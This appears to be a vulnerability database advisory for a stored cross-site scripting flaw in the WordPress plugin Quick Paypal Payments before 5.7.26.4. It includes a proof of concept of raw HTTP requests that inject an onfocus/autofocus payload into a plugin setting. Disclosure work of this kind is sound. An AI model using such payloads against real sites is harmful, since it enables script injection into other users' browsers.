WordPress Plugin Vulnerabilities
Quick Paypal Payments < 5.7.26.4 - Admin+ Stored XSS
Description
The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)
Proof of Concept
Original request - with sandbox=checked ##################### POST /wordpress/wp-admin/options-general.php?page=quick-paypal-payments&tab=setup HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wordpress/wp-admin/options-general.php?page=quick-paypal-payments&tab=setup Content-Type: application/x-www-form-urlencoded Content-Length: 361 Origin: http://localhost Connection: close Cookie: XXX Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 email=test%40test.com&qpp_curr=USD¤t=test&qpp_currtest=USD&deleteformtest=test&new_form=&new_curr=USD&alternative=test%2C&qpp_clone=Do+not+copy+settings&location=head&sandbox=checked&disable_error=checked&Submit=Update+Settings&_wpnonce=0ad2dfdf9f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dquick-paypal-payments%26tab%3Dsetup ##################### POC request - with sandbox=checked%20onfocus%3dalert(document.domain)%20autofocus%3d%20 ##################### POST /wordpress/wp-admin/options-general.php?page=quick-paypal-payments HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wordpress/wp-admin/options-general.php?page=quick-paypal-payments Content-Type: application/x-www-form-urlencoded Content-Length: 387 Origin: http://localhost Connection: close Cookie: XXX Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 email=test%40test.com¤t=test%40test.com&qpp_curr=USD&new_form=test&new_curr=USD&alternative=&qpp_clone=Do+not+copy+settings&location=head&sandbox=checked%20onfocus%3dalert(document.domain)%20autofocus%3d%20&disable_error=checked&nostore=checked&Submit=Update+Settings&_wpnonce=0ad2dfdf9f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dquick-paypal-payments #####################
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Pablo Sanchez
Submitter
Pablo Sanchez
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-04-04 (about 1 years ago)
Added
2023-04-04 (about 1 years ago)
Last Updated
2023-04-04 (about 1 years ago)